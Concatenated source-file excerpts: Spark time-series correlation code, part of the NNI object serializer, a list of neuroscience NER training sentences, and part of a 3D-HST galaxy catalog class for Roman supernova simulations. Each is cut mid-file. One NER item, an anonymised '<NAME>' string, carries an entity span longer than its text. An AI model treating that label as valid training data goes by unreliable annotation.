return pearsonr(ts_1[:the_min], ts_2[:the_min])[0]
CORRELATION_FUNCTIONS = {PEARSON: the_pearson}
class ConfigCorrelationLoop(object):
"""
Instance of ConfigCorrelationLoop groups some internal parameters:
- initialized for instance according to the cluster for the Spark/Yarn computing.
- or precision of JSON results according the PostGres database capacity ...
"""
def __init__(self, the_num_partitions, the_point_cache_size, the_digits_number):
"""
Constructor
:param the_num_partitions: recommended number of spark partitions on the cluster
:type the_num_partitions: int
:param the_point_cache_size: the maximum number of points memorized into the timeseries cache:
one cache is managed by one spark task.
The cache may prevent the task to reload several times the same
timeseries, while computing one correlation matrix chunk
:type the_point_cache_size: int
:param the_digits_number: number of significant digits saved in the json results, for the float numbers
This is useful to reduce the volume of results in the PostGres database
:type the_digits_number: int
"""
self.num_partitions = the_num_partitions
self.the_point_cache_size = the_point_cache_size
self.the_digits_number = the_digits_number
def _encode_corr_json(correlation):
"""
Encodes the computed correlation for the json content:
- About handling the Nan value: it has been decided with front story to encode
the specific NaN into a string
- None is correctly translated into JSon null value
:param correlation: the computed correlation
:type correlation: float64 (including NaN) or None
"""
if correlation is None:
return None
elif np.isnan(correlation) or np.isinf(correlation):
return NAN
else:
return correlation
def _round(correlation, ndigits):
"""
Round the float value according to the maximum number of digits:
- this preserve a lot of memory, saving the JSON data in the database
Note: method robust to str or None values, which are unchanged
:param correlation: the computed correlation
:type correlation: float or str or None
:param ndigits: the maximum number of digits taken into account
:type ndigits: int
"""
# this tests is applicable to float or numpy.float64 (float64 extends float)
if isinstance(correlation, float):
return round(float(correlation), ndigits)
else:
return correlation
def _initialize_config_from_meta(ts_metadata_dict, context_meta, variable_meta):
"""
Prepares the correlation loop configuration from the uploaded metadata of selected timeseries.
:param ts_metadata_dict: uploaded metadata
:type ts_metadata_dict: dict
:param context_meta: name of metadata providing the context.
Example with Airbus datasets: "FlightIdentifier"
:type context_meta: str
:param variable_meta: name of the metadata providing the variable name: variables are sorted by alphanumeric order.
Example with Airbus datasets: "metric"
:type variable_meta: str
:return: computed config is multiple result:
- config_corr_loop: list of ( <context index>, [ (<var index 1> , <tsuid 1>), ..., (<var index N> , <tsuid N>) ] )
- contexts: ordered list of contexts: <context> = contexts[<context_index>]
- variables: ordered list of variables: <variable name> = variables[ <var index> ]
:rtype: list, list list
:raise exception: IkatsInputContentError when an inconsistency cancels the correlations computing
"""
ts_metadata_accepted = defaultdict(dict)
ts_variables_accepted_set = set()
for tsuid, meta in ts_metadata_dict.items():
if context_meta not in meta:
LOGGER.info("- Ignored: TS without context (meta %s): %s", context_meta, tsuid)
elif variable_meta not in meta:
LOGGER.info("- Ignored: TS without defined variable (meta %s): %s", variable_meta, tsuid)
else:
context_value = meta[context_meta]
variable_name = meta[variable_meta]
if variable_name in ts_metadata_accepted[context_value]:
msg = "Inconsistency: context={} variable={} should match 1 TS: got at least 2 TS {} {}"
raise IkatsInputContentError(msg.format(tsuid,
ts_metadata_accepted[context_value][variable_name]))
ts_metadata_accepted[context_value][variable_name] = tsuid
def ignore_unique_ts(the_context, tsuid_by_var):
"""
- removes context with one single ts => useless to compute correlation
- or else completes the set ts_variables_accepted_set
:param the_context:
:param tsuid_by_var:
:return:
"""
if len(tsuid_by_var) == 1:
LOGGER.info("- Ignored: unique TS in context %s=%s: %s", context_meta,
the_context,
list(tsuid_by_var.values())[0])
else:
for var in tsuid_by_var:
ts_variables_accepted_set.add(var)
return len(tsuid_by_var) == 1
ts_metadata_accepted = {ctx: tsuid_by_var for ctx, tsuid_by_var in ts_metadata_accepted.items()
if ignore_unique_ts(ctx, tsuid_by_var) == False}
# provides translation indexes => value on contexts
contexts = natsorted(ts_metadata_accepted.keys())
# provides translation indexes => value on variables
variables = natsorted(ts_variables_accepted_set)
# computes the corr_loop_config
# ( <context index>, [ (<var index 1> , <tsuid 1>), ..., (<var index N> , <tsuid N>) ] )
#
# Note: sorted( [ (2, "TS2"), (1, "TS1"), (0, "TS0"), ] )
# returns [(0, 'TS0'), (1, 'TS1'), (2, 'TS2')]
#
corr_loop_config = [(contexts.index(ctx), sorted([(variables.index(var), tsuid)
for var, tsuid in tsuid_by_var.items()]))
for ctx, tsuid_by_var in ts_metadata_accepted.items()]
return corr_loop_config, contexts, variables
def _spark_combine_pairs(context, variables, nb_corr_matrix_blocks):
"""
Prepare the lists of comparable pairs of variables, for specified context.
:param context: the context where pairs of variable are evaluated
:type context: int or str
:param variables: the list of variables
:type variables: list
:param nb_corr_matrix_blocks: the number of matrix blocks: when superior to 1: this will
split the list pairs in several lists. This aims at improving the spark distribution over the cluster
:type nb_corr_matrix_blocks: int
"""
# build pairs of variable:
# ex: variables = [ "A", "B", "C" ]
# => pairs = [ ( "A", "A"), ( "A", "B"), ( "A", "C"), ( "B", "B"), ("B", "C"), ("C", "C") ]
pairs = list(itertools.combinations_with_replacement(variables, 2))
nb_pairs = len(pairs)
# the driver has demanded to split the work into correlation matrix_blocks for a fixed context
corr_matrix_block_size = max(1, floor(nb_pairs / nb_corr_matrix_blocks))
# split the list pairs into list of lists: partition of correlation matrix_blocks,
# with usual size corr_matrix_block_size
#
# ex: with corr_matrix_block_size =2, context=1
# [ ( 1, [ ( "A", "A"), ( "A", "B"), ( "A", "C") ] ),
# ( 1, [ ( "B", "B"), ( "B", "C"), ( "C", "C") ] ) ]
return [(context, pairs[i:i + corr_matrix_block_size]) for i in range(0, nb_pairs, corr_matrix_block_size)]
def _spark_correlate_pairs(context, var_pairs, corr_method, ts_cache_size):
"""
Computes the correlations of variables inside one observed context.
:param context: the context index.
:type context: int
:param var_pairs: list of <pair 1_1>, <pair 1_2>, <pair 1_3>, ..., <pair M_N>
where <pair X_Y> is:
((<var X index>, <tsuid X> ), (<var Y index>, <tsuid Y>))
:type var_pairs: list of tuples
:param corr_method: label of correlation method among CORRELATION_METHODS
:type corr_method: str
:param ts_cache_size: maximum number of loaded timeseries in one task
:type ts_cache_size: int
:return: list of ( (<Var X index>, <Var Y index>), <correlation X Y>) where
<correlation X Y> is (<context>, (<tsuid X>, <tsuid Y>), correlation)
:rtype: list of tuples
"""
@lru_cache(maxsize=ts_cache_size)
def read_ts_values(tsuid):
"""
Reads a timeseries and return its data
:param tsuid:
:return:
"""
return IkatsApi.ts.read(tsuid)[0][:, 1]
# tested in algo pre-requisites
the_func_method = CORRELATION_FUNCTIONS[corr_method]
# List to return
ret = []
for (var_a, tsuid_a), (var_b, tsuid_b) in var_pairs:
# Load time series
values_a = read_ts_values(tsuid_a)
values_b = read_ts_values(tsuid_b)
corr = the_func_method(values_a, values_b)
ret.append(((var_a, var_b),
(context, (tsuid_a, tsuid_b), corr)))
# here: we tested that read_ts_values.cache_clear()
# was not efficient
return ret
def | |
<reponame>Frandium/nni
import abc
import base64
import collections.abc
import copy
import functools
import inspect
import numbers
import types
import warnings
from io import IOBase
from typing import Any, Dict, List, Optional, TypeVar, Union
import cloudpickle # use cloudpickle as backend for unserializable types and instances
import json_tricks # use json_tricks as serializer backend
__all__ = ['trace', 'dump', 'load', 'PayloadTooLarge', 'Translatable', 'Traceable', 'is_traceable']
T = TypeVar('T')
class PayloadTooLarge(Exception):
pass
class Traceable(abc.ABC):
"""
A traceable object have copy and dict. Copy and mutate are used to copy the object for further mutations.
Dict returns a TraceDictType to enable serialization.
"""
@abc.abstractmethod
def trace_copy(self) -> 'Traceable':
"""
Perform a shallow copy.
NOTE: NONE of the attributes will be preserved.
This is the one that should be used when you want to "mutate" a serializable object.
"""
...
@property
@abc.abstractmethod
def trace_symbol(self) -> Any:
"""
Symbol object. Could be a class or a function.
``get_hybrid_cls_or_func_name`` and ``import_cls_or_func_from_hybrid_name`` is a pair to
convert the symbol into a string and convert the string back to symbol.
"""
...
@property
@abc.abstractmethod
def trace_args(self) -> List[Any]:
"""
List of positional arguments passed to symbol. Usually empty if ``kw_only`` is true,
in which case all the positional arguments are converted into keyword arguments.
"""
...
@property
@abc.abstractmethod
def trace_kwargs(self) -> Dict[str, Any]:
"""
Dict of keyword arguments.
"""
...
class Translatable(abc.ABC):
"""
Inherit this class and implement ``translate`` when the wrapped class needs a different
parameter from the wrapper class in its init function.
"""
@abc.abstractmethod
def _translate(self) -> Any:
pass
@staticmethod
def _translate_argument(d: Any) -> Any:
if isinstance(d, Translatable):
return d._translate()
return d
def is_traceable(obj: Any) -> bool:
"""
Check whether an object is a traceable instance (not type).
"""
return hasattr(obj, 'trace_copy') and \
hasattr(obj, 'trace_symbol') and \
hasattr(obj, 'trace_args') and \
hasattr(obj, 'trace_kwargs') and \
not inspect.isclass(obj)
class SerializableObject(Traceable):
"""
Serializable object is a wrapper of existing python objects, that supports dump and load easily.
Stores a symbol ``s`` and a dict of arguments ``args``, and the object can be restored with ``s(**args)``.
"""
def __init__(self, symbol: T, args: List[Any], kwargs: Dict[str, Any], call_super: bool = False):
# use dict to avoid conflicts with user's getattr and setattr
self.__dict__['_nni_symbol'] = symbol
self.__dict__['_nni_args'] = args
self.__dict__['_nni_kwargs'] = kwargs
self.__dict__['_nni_call_super'] = call_super
if call_super:
# call super means that the serializable object is by itself an object of the target class
super().__init__(
*[_argument_processor(arg) for arg in args],
**{kw: _argument_processor(arg) for kw, arg in kwargs.items()}
)
def trace_copy(self) -> Union[T, 'SerializableObject']:
return SerializableObject(
self.trace_symbol,
[copy.copy(arg) for arg in self.trace_args],
{k: copy.copy(v) for k, v in self.trace_kwargs.items()},
)
@property
def trace_symbol(self) -> Any:
return self._get_nni_attr('symbol')
@trace_symbol.setter
def trace_symbol(self, symbol: Any) -> None:
# for mutation purposes
self.__dict__['_nni_symbol'] = symbol
@property
def trace_args(self) -> List[Any]:
return self._get_nni_attr('args')
@trace_args.setter
def trace_args(self, args: List[Any]):
self.__dict__['_nni_args'] = args
@property
def trace_kwargs(self) -> Dict[str, Any]:
return self._get_nni_attr('kwargs')
@trace_kwargs.setter
def trace_kwargs(self, kwargs: Dict[str, Any]):
self.__dict__['_nni_kwargs'] = kwargs
def _get_nni_attr(self, name: str) -> Any:
return self.__dict__['_nni_' + name]
def __repr__(self):
if self._get_nni_attr('call_super'):
return super().__repr__()
return 'SerializableObject(' + \
', '.join(['type=' + self._get_nni_attr('symbol').__name__] +
[repr(d) for d in self._get_nni_attr('args')] +
[k + '=' + repr(v) for k, v in self._get_nni_attr('kwargs').items()]) + \
')'
def inject_trace_info(obj: Any, symbol: T, args: List[Any], kwargs: Dict[str, Any]) -> Any:
# If an object is already created, this can be a fix so that the necessary info are re-injected into the object.
def getter_factory(x):
return lambda self: self.__dict__['_nni_' + x]
def setter_factory(x):
def setter(self, val):
self.__dict__['_nni_' + x] = val
return setter
def trace_copy(self):
return SerializableObject(
self.trace_symbol,
[copy.copy(arg) for arg in self.trace_args],
{k: copy.copy(v) for k, v in self.trace_kwargs.items()},
)
attributes = {
'trace_symbol': property(getter_factory('symbol'), setter_factory('symbol')),
'trace_args': property(getter_factory('args'), setter_factory('args')),
'trace_kwargs': property(getter_factory('kwargs'), setter_factory('kwargs')),
'trace_copy': trace_copy
}
if hasattr(obj, '__class__') and hasattr(obj, '__dict__'):
for name, method in attributes.items():
setattr(obj.__class__, name, method)
else:
wrapper = type('wrapper', (Traceable, type(obj)), attributes)
obj = wrapper(obj) # pylint: disable=abstract-class-instantiated
# make obj complying with the interface of traceable, though we cannot change its base class
obj.__dict__.update(_nni_symbol=symbol, _nni_args=args, _nni_kwargs=kwargs)
return obj
def trace(cls_or_func: T = None, *, kw_only: bool = True) -> Union[T, Traceable]:
"""
Annotate a function or a class if you want to preserve where it comes from.
This is usually used in the following scenarios:
1) Care more about execution configuration rather than results, which is usually the case in AutoML. For example,
you want to mutate the parameters of a function.
2) Repeat execution is not an issue (e.g., reproducible, execution is fast without side effects).
When a class/function is annotated, all the instances/calls will return a object as it normally will.
Although the object might act like a normal object, it's actually a different object with NNI-specific properties.
One exception is that if your function returns None, it will return an empty traceable object instead,
which should raise your attention when you want to check whether the None ``is None``.
When parameters of functions are received, it is first stored, and then a shallow copy will be passed to wrapped function/class.
This is to prevent mutable objects gets modified in the wrapped function/class.
When the function finished execution, we also record extra information about where this object comes from.
That's why it's called "trace".
When call ``nni.dump``, that information will be used, by default.
If ``kw_only`` is true, try to convert all parameters into kwargs type. This is done by inspecting the argument
list and types. This can be useful to extract semantics, but can be tricky in some corner cases.
Example:
.. code-block:: python
@nni.trace
def foo(bar):
pass
"""
def wrap(cls_or_func):
# already annotated, do nothing
if getattr(cls_or_func, '_traced', False):
return cls_or_func
if isinstance(cls_or_func, type):
cls_or_func = _trace_cls(cls_or_func, kw_only)
elif _is_function(cls_or_func):
cls_or_func = _trace_func(cls_or_func, kw_only)
else:
raise TypeError(f'{cls_or_func} of type {type(cls_or_func)} is not supported to be traced. '
'File an issue at https://github.com/microsoft/nni/issues if you believe this is a mistake.')
cls_or_func._traced = True
return cls_or_func
# if we're being called as @trace()
if cls_or_func is None:
return wrap
# if we are called without parentheses
return wrap(cls_or_func)
def dump(obj: Any, fp: Optional[Any] = None, *, use_trace: bool = True, pickle_size_limit: int = 4096,
allow_nan: bool = True, **json_tricks_kwargs) -> Union[str, bytes]:
"""
Convert a nested data structure to a json string. Save to file if fp is specified.
Use json-tricks as main backend. For unhandled cases in json-tricks, use cloudpickle.
The serializer is not designed for long-term storage use, but rather to copy data between processes.
The format is also subject to change between NNI releases.
Parameters
----------
obj : any
The object to dump.
fp : file handler or path
File to write to. Keep it none if you want to dump a string.
pickle_size_limit : int
This is set to avoid too long serialization result. Set to -1 to disable size check.
allow_nan : bool
Whether to allow nan to be serialized. Different from default value in json-tricks, our default value is true.
json_tricks_kwargs : dict
Other keyword arguments passed to json tricks (backend), e.g., indent=2.
Returns
-------
str or bytes
Normally str. Sometimes bytes (if compressed).
"""
encoders = [
# we don't need to check for dependency as many of those have already been required by NNI
json_tricks.pathlib_encode, # pathlib is a required dependency for NNI
json_tricks.pandas_encode, # pandas is a required dependency
json_tricks.numpy_encode, # required
json_tricks.encoders.enum_instance_encode,
json_tricks.json_date_time_encode, # same as json_tricks
json_tricks.json_complex_encode,
json_tricks.json_set_encode,
json_tricks.numeric_types_encode,
functools.partial(_json_tricks_serializable_object_encode, use_trace=use_trace),
functools.partial(_json_tricks_func_or_cls_encode, pickle_size_limit=pickle_size_limit),
functools.partial(_json_tricks_any_object_encode, pickle_size_limit=pickle_size_limit),
]
json_tricks_kwargs['allow_nan'] = allow_nan
if fp is not None:
return json_tricks.dump(obj, fp, obj_encoders=encoders, **json_tricks_kwargs)
else:
return json_tricks.dumps(obj, obj_encoders=encoders, **json_tricks_kwargs)
def load(string: Optional[str] = None, *, fp: Optional[Any] = None, ignore_comments: bool = True, **json_tricks_kwargs) -> Any:
"""
Load the string or from file, and convert it to a complex data structure.
At least one of string or fp has to be not none.
Parameters
----------
string : str
JSON string to parse. Can be set to none if fp is used.
fp : str
File | |
the temporal delay between response and outcome (Haber & Knutson, 2010).",
{"entities": [(14, 17, LABEL), (18, 23, LABEL), (141, 146, PER), (149, 156, PER), (158, 162, "DATE"), (54, 79, FUNC)]}),
("Additionally, the region of the ventral striatum where overlapping activation between reward and loss anticipation resided is considered to be part of the NAcc core (Xia et al., 2017).",
{"entities": [(32, 48, LABEL), (155, 164, LABEL), (166, 169, PER), (178, 182, "DATE"), (86, 92, FUNC), (97, 114, FUNC)]}),
("This is the first time for a meta‐analysis to detect amygdala activation during both reward and loss anticipation, as this region is typically associated with loss processing.",
{"entities": [(53, 61, LABEL), (85, 91, FUNC), (96, 113, FUNC), (159, 174, FUNC)]}),
("There is a report that self-esteem is associated with hippocampal volume and the cortisol response to a psychosocial stress [30].",
{"entities": [(54, 65, LABEL), (81, 98, PHYS), (104, 123, FUNC)]}),
("The cluster size was determined through a Monte Carlo simulation using AFNI’s AlphaSim program (http://afni.nimh.nih.gov/afni/doc/manual/AlphaSim) with 10,000 iterations.",
{"entities": []}),
("<NAME>",
{"entities": [(3 ,14, LABEL)]}),
("In a follow up study to our identification of risk coding neurons in the OFC we identified an error-related signal in OFC neurons related to risk, namely a risk prediction error (O’Neill and Schultz, 2013).",
{"entities": [(73, 76, LABEL), (118, 121, LABEL), (179, 186, PER), (191, 197, PER), (200, 204, "DATE"), (94, 107, FUNC), (156, 177, FUNC)]}),
("A previous work including a food-related task discovered decreased reward sensitivity associated with alterations in the putamen activity after acute stress induction (Born et al., 2010).",
{"entities": [(121, 128, LABEL), (168, 172, PER), (181, 185, "DATE")]}),
("The prefrontal cortex is related to cognitive control and goal-directed behaviors [32].",
{"entities": [(4, 21, LABEL), (46, 53, FUNC), (58, 81, FUNC)]}),
("The orbitofrontal cortex (OFC) contributes to emotion-based learning and decision making [36,37] and is proposed to be a key region in negative urgency [1].",
{"entities": [(4, 24, LABEL), (26, 29, LABEL), (46, 68, FUNC), (73, 88, FUNC), (135, 151, FUNC)]}),
("The mPFC projects to the VTA and the NAcc.",
{"entities": [(4, 8, LABEL), (25, 28, LABEL), (37, 41, LABEL)]}),
("The DP receives inputs from the PBN and the RMTg.",
{"entities": [(4, 6, LABEL), (32, 35, LABEL), (44, 48, LABEL)]}),
("There is a dopaminergic projection from the VTA to the Dorsal Raphe (DRN).",
{"entities": [(11, 23, NT), (44, 47, LABEL), (55, 67, LABEL), (69, 72, LABEL)]}),
("The hindbrain receives inputs from many regions.",
{"entities": [(4, 13, LABEL)]}),
("The risky option comprised equal probabilities of a prize (£6, £9, or £12) or £0.",
{"entities": []}),
("Five participants did not enter into state 1, 21 participants did not enter into state 2, 22 participants did not enter into state 3, 19 did not enter into state 4 and 33 did not enter into state 5.",
{"entities": []}),
("On average, participants spent 39.53 percent of their time in state 1 (s.d. = 27.54), 16.55 percent of their time in state 2 (s.d. = 16.59), 16.02 percent of their time in state 3 (s.d. = 15.72), 15.53 of their time in state 4 (s.d. = 17.06) and 12.37 percent of the time is state 5 (s.d. = 16.15).",
{"entities": []}),
("The dwell time on average was 20.65 (s.d. = 26.37) for state 1, 10.96 (s.d. = 10.52) for state 2, 10.93 (s.d. = 8.35) for state 3, 11.90 (s.d. = 11.37) for state 4 and 10.76 (s.d. = 11.19) for state 5. Table 3.Percent of time spent in each CCN stateState 1 (%)State 2 (%)State 3 (%)State 4 (%)State 5 (%)1st analysis34.7417.9817.9217.1412.",
{"entities": []}),
("Insula, Dorsal Anterior Cingulate, Thalamus (45,9,-3), (-3,-27,-3), (-9,21,24)",
{"entities": [(0, 6, LABEL), (8, 33, LABEL), (35, 43, LABEL)]}),
("We therefore aimed to develop a task that effectively probed emotional facial recognition. The Emotion Recognition Task (ERT) included in the CANTAB battery (Cambridge Cognition Ltd) has proven to be a promising task examining emotion recognition in clinical populations.",
{"entities": []}),
("There are a number of batteries that include a limited number of affective tasks in predominately “cold” cognitive test batteries (e.g., CANTAB; www.cambridgecognition.com, MATRICS; www.matricsinc.org, CogState; www.cogstate.com, WebNeuro; www.brainresource.com).",
{"entities": []}),
("The amygdala has been reported to be related to life satisfaction [27] and to be correlated with the dorsal MPFC while trying to increase positive emotion [53].",
{"entities": [(4, 12, LABEL), (101, 112, LABEL), (48, 65, FUNC), (129, 154, FUNC)]}),
("In the positive word condition, the HLS group showed significantly increased functional connectivity of the dorsal MPFC with various regions including the left amygdala, left insula, and bilateral TPJ, whereas the LLS group revealed it only with the left PCC.",
{"entities": [(108, 119, LABEL), (160, 168, LABEL), (175, 181, LABEL), (197, 200, LABEL), (255, 258, LABEL)]}),
("Participants were asked to respond as accurately and as quickly as possible. Four different types of distractors were possible: (1) a disgusting picture (e.g., of vomit, wounds, or spiders) at the location where the target letter would subsequently be presented, called the disgust condition; (2) a neutral picture presented at the target location, called the neutral ipsilateral condition; (3) a picture displaying a couple in an erotic situation displayed on the contralateral side of the screen relative to the target location, called the erotic condition; and (4) a neutral picture presented on the contralateral side of the screen, called the neutral contralateral condition (Figure 1).",
{"entities": []}),
("Subjects completed a pre-scan questionnaire (see Supplementary Note 7 for an English version) and a practice block with a trackball outside the scanner to make sure the instructions and procedures were clear.",
{"entities": []}),
("Pre-testing of our messages also revealed that women found the messages clearer and more persuasive than did men.",
{"entities": []}),
("Statistical analyses of behavioral data were performed using R software (www.r-project.org).",
{"entities": []}),
("In addition, the context effect observed here was not due to reward-frequency bias the subjects experienced in the pre-fMRI session (S2 Fig).",
{"entities": []}),
("Recent studies show that several subcortical brain regions in the septum and the striatum contain populations of neurons that signal the graded level of reward uncertainty 56, 57.",
{"entities": [(33, 58, LABEL), (66, 72, LABEL), (81, 89, LABEL), (153, 171, FUNC)]}),
("On the other hand, injections in the amygdala and the medio-lateral septum, which projects directly and indirectly to the PVN, did not alter basal ACTH levels, but reduced stress-induced ACTH (Neumann et al., 2000a).",
{"entities": [(37, 45, LABEL), (54, 74, LABEL), (122, 125, LABEL), (147, 151, PHYS), (172, 191, FUNC)]}),
("Demographic characteristics of sample (N = 200), stratified by age, IQ, gender, and ethnicity for the standardization of the EMOTICOM neuropsychological test battery.",
{"entities": []}),
("Task 15: Ultimatum Game",
{"entities": []}),
("As a summary of the state of the literature to date, a recently published meta-analysis of structural and functional neuroimaging studies in OCD examined data from VBM studies enrolling 928 patients vs. 942 controls, and fMRI studies of inhibitory control enrolling 287 patients and 284 controls (Norman et al., 2016).",
{"entities": [(297, 303, PER), (312, 316, "DATE")]}),
("Full list of neuropsychological tasks with outcome measures which are included in the EMOTICOM neuropsychological test battery.",
{"entities": []}),
("In this paper we have presented data from 200 participants' performance to demonstrate that these requirements are met by the EMOTICOM neuropsychological test battery.",
{"entities": []}),
("This focus on highly motivated subjects may explain why the study found activation overlapping with economic reward-related signals.",
{"entities": []}),
("Our specific question was to what extent adACC/dmPFC responses are differentially controlled by the prevailing excitatory CS+ > US association verses the temporary inhibitory CS+ > noUS association governed by successful avoidance.",
{"entities": [(41, 46, LABEL), (47, 52, LABEL)]}),
("We hypothesized that individuals exhibiting greater aversive | |
<reponame>srodney/romansims
import os
import numpy as np
from matplotlib import pyplot as plt
from scipy import interpolate as scinterp
from datetime import datetime
from astropy.io import fits
from astropy.table import Table, Column, Row, MaskedColumn
from astropy import table
from astropy import units as u
import seaborn as sns
import eazyseds
__VERBOSE__ = True
__3DHST_DATADIR__ = os.path.abspath('../data/3DHST/')
__3DHST_MASTERCAT__ = '3dhst.v4.1.5.master.fits'
__3DHST_PHOTCAT__ = '3dhst_master.phot.v4.1.cat.fits'
__3DHST_GALFIT_ROOTNAME__ = '_3dhst.v4.1_f160w.galfit'
__3DHST_MASSCORRECTIONS__ = 'whitaker2014_table5_mass_corrections.txt'
__EAZYPY_DATADIR__ = os.path.abspath('../data/eazypy')
_LOGSSFR_MIN=-14
_LOGSSFR_MAX=-2
_LOGMASS_MIN=0.01
_LOGMASS_MAX=15
_LOGSFR_MIN = -6
_LOGSFR_MAX = 4
class GalaxyCatalog(object):
""" A generic catalog of galaxies, constructed from any one of the
many CANDELS/CLASH catalogs.
Necessary properties:
ra, dec, field, catalogfile, idx_catalog
Optional:
z, zerr, photometry, mass, luminosity, restframe_photometry
"""
def find_nearest_galaxy(self, location, tolerance_arcsec=0):
""" Find the galaxy in this catalog that is closest to the given
position. Returns a Table object with a single row, giving all
available information for the galaxy with the smallest angular
separation from the specified location.
:param location: a SkyCoord coordinate location to search near
:param tolerance_arcsec: return None if there are no matches within
this radius, given in arcseconds
:return: Table object with one row.
"""
idx_match, angsep_match, distance_skymatch = \
location.match_to_catalog_sky(self.locations)
if isinstance(idx_match, np.ndarray):
idx_match = int(idx_match)
if ((tolerance_arcsec > 0) and
(angsep_match.to(u.arcsec) > tolerance_arcsec * u.arcsec)):
return None
match_row = self.catalog_data[idx_match]
output_table = Table(rows=match_row)
return(output_table)
class Catalog3DHST(GalaxyCatalog):
""" Galaxy photometry, redshifts and derived parameters
from 3DHST for all CANDELS fields.
User can initialize this with a fully-formed catalog by providing
'load_simulation_catalog'. When the user provides this input filename,
we assume it is a completely ready catalog: photcat parameters and eazypy
coefficients appended, masses corrected, subset selected, etc.
When this is not provided, the 'raw' 3DHST catalog is loaded from the user-
specified 'mastercatfile'. The subsequent adjustments can then be
executed by calling the methods one by one, or all together by using
the method prepare_sn_simulation_catalog().
"""
def __init__(self, load_simulation_catalog=None,
datadir = __3DHST_DATADIR__,
mastercatfile = __3DHST_MASTERCAT__,
verbose=__VERBOSE__):
self.verbose = verbose
self.EazySpecSimulator = None
self.simulation_catalog = None
self.ids_adjusted = False
self.mass_corrected = False
self.subset_selected = False
self.eazy_coefficients_appended = False
self.photcat_params_appended = False
self.galfit_params_appended = False
if load_simulation_catalog is not None:
# when the user provides an input filename, we assume it is
# a completely ready catalog: masses corrected, subset selected,
# and eazypy coefficients appended. TODO: should check!
self.mastercat = Table.read(load_simulation_catalog)
self.simulation_catalog = self.mastercat
self.mass_corrected = True
self.subset_selected = True
self.eazy_coefficients_appended = True
self.photcat_params_appended = False
return
self.mastercat = Table.read(os.path.join(datadir, mastercatfile))
# adjust the mastercat 'id' columns to dtype='int'
idcol = Column(name='id', data=self.mastercat['phot_id'], dtype=int)
self.mastercat.remove_columns(['phot_id'])
self.mastercat.add_column(idcol, index=0)
def prepare_simulation_catalog(self):
""" This is the primary function for creating a simulation catalog
(or HOSTLIB). It runs through all the steps, resulting in the
production of a 'simulation_catalog' attribute as an astropy Table
object. To write it out to a fits file or a SNANA HOSTLIB, use the
modules `write_simulation_catalog_as_fits()' or
'write_simulation_catalog_as_hostlib()'
WARNING: this code is not optimized or parallelized!
The step for creating photometric
data in Roman bandpasses is particularly slow (the module for that is
'append_eazy_magnitudes()'). It can take >30 minutes on my mac pro
(3.5GHz 6-core Intel Xeon).
"""
# Append columns next: have to do these before adjusting the galaxy IDs
self.append_galfit_params()
# Select the 'clean' subset of galaxies first (reduce computation time)
self.select_clean_galaxies()
self.append_photcat_params()
self.append_eazy_coefficients()
# Add a column with unique galaxy IDs
self.append_unique_sim_ids()
# SLOW: Append the Roman magnitudes derived from EAZY SED sims
self.append_eazy_magnitudes()
self.apply_mass_corrections()
self.trim_simulation_catalog()
return
@property
def has_unique_sim_ids(self):
return 'id_sim' in self.mastercat.colnames
def append_unique_sim_ids(self):
"""Make unique entries in a new 'id_sim' column, by adding the
field number x10^5 to each entry
"""
if self.has_unique_sim_ids:
print("IDs are already adjusted.")
return
idsimcol = Column(name='id_sim',
data=self.mastercat['id'] + \
(int(1e5) * self.mastercat['ifield'])
)
self.mastercat.add_column(idsimcol)
return
def get_rownumber_from_id_sim(self, id_sim):
""" Returns the row number for the given galid.
NOTE: requires that the galids have been adjusted, so they are unique.
"""
if not self.has_unique_sim_ids:
print("You must adjust the galaxy ids before fetching row numbers")
print("Run append_unique_sim_ids()")
return
irow = np.where(self.mastercat['id_sim']==id_sim)[0][0]
return(irow)
def select_clean_galaxies(self, verbose=__VERBOSE__):
"""Select the subset of galaxies that have measurements for
redshift, mass, star formation rate and no flags of concern
"""
if not self.galfit_params_appended:
print("Missing required galfit params. Run append_galfit_params() then try again.")
return
if self.subset_selected:
print("Subset selections already applied. Doing nothing.")
return
if verbose:
print("Applying subset selection...")
igotz = self.mastercat['z_best']>0
igotmass = self.mastercat['lmass']>0
igotsfr = self.mastercat['sfr']>-90
ilowsfr = self.mastercat['sfr']<10000
igotgalfit = self.mastercat['n0_sersic']>0
igood = igotz & igotmass & igotsfr & ilowsfr & igotgalfit
self.mastercat = self.mastercat[igood]
if verbose:
print(f"Selected {len(self.mastercat)} clean galaxies.")
self.subset_selected = True
return
def apply_mass_corrections(self,datadir=__3DHST_DATADIR__,
masscorrectionfile=__3DHST_MASSCORRECTIONS__,
interpolate=False, verbose=True):
""" Apply the emission-line corrections to the estimated
stellar masses, from Whitaker et al. 2014,
Appendix A, Table 5, Figure 14.
Options:
-------
interpolate: if True, use 2D interpolation over M,z space (slow).
If False, use the mean value in each M,z bin for all galaxies in
that bin (fast).
"""
if self.mass_corrected:
print("Mass corrections already applied. Doing nothing.")
return
if not self.subset_selected:
print("Subset of 'clean' galaxies not yet selected. Doing that now...")
self.select_clean_galaxies()
if verbose:
print(f"Applying mass corrections to {len(self.mastercat):d} "
"galaxies in the mastercat...")
# read in the Table5 data
masscorrtab = Table.read(os.path.join(datadir, masscorrectionfile),
format="ascii.commented_header",
header_start=-1, data_start=0)
if interpolate:
# create a 2D interpolation function in (M,z) space
M = np.mean( np.array([masscorrtab['logMmin'], masscorrtab['logMmax']]), axis=0)
z = np.array([0.75,1.25, 1.75, 2.25])
deltaM = np.array([masscorrtab['z<1'], masscorrtab['1<z<1.5'],
masscorrtab['1.5<z<2'], masscorrtab['2<z']])
masscorrectionfunc = interpolate.interp2d(M, z, deltaM)
else:
# make a function that looks up the mass correction value from the
# table for an array of given M, z values
Mbinmax = np.append(masscorrtab['logMmax'][:-1], [99])
def masscorrectionfunc(Mgal, zgal):
iMbin = np.argmax(Mgal < Mbinmax)
if zgal<1:
deltam = masscorrtab['z<1'][iMbin]
elif zgal<1.5:
deltam = masscorrtab['1<z<1.5'][iMbin]
elif zgal<2:
deltam = masscorrtab['1.5<z<2'][iMbin]
else:
deltam = masscorrtab['2<z'][iMbin]
return(deltam)
# apply the mass corrections directly to the self.mastercat table
zbest = self.mastercat['z_best']
Morig = self.mastercat['lmass']
deltam = np.array([masscorrectionfunc(Morig[i], zbest[i])
for i in range(len(Morig))])
lmass_corr_col = Column(data=Morig - deltam,
name='lmass_corrected')
self.mastercat.add_column(lmass_corr_col)
self.deltam = deltam
self.mass_corrected = True
if verbose:
print(f"Corrected masses for all {len(self.mastercat)} galaxies.")
return
def append_photcat_params(self,
datadir = __3DHST_DATADIR__,
photcatfile = __3DHST_PHOTCAT__,
verbose=__VERBOSE__):
"""Read in the photcatfile and extract columns that are not
